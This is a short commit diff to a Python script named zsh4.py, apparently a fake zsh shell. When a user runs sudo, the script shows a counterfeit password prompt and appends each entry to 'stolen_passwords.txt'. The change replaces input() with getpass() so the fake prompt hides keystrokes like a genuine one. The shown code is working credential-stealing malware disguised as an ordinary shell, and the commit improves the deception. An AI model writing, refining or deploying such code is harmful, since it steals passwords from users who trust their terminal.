111
This commit is contained in:
3
zsh4.py
3
zsh4.py
@@ -3,6 +3,7 @@ import shlex
|
||||
import subprocess
|
||||
import readline
|
||||
import time
|
||||
import getpass
|
||||
|
||||
# 自动补全功能,基于系统命令
|
||||
def completer(text, state):
|
||||
@@ -40,7 +41,7 @@ def pseudo_zsh():
|
||||
|
||||
# 伪造 sudo 密码输入并记录
|
||||
if args[0] == 'sudo':
|
||||
fake_password = input(">Password: ")
|
||||
fake_password = getpass.getpass(">Password: ")
|
||||
with open("stolen_passwords.txt", "a") as f:
|
||||
f.write(fake_password + "\n")
|
||||
time.sleep(3) # 模拟延迟
|
||||
|
||||
Reference in New Issue
Block a user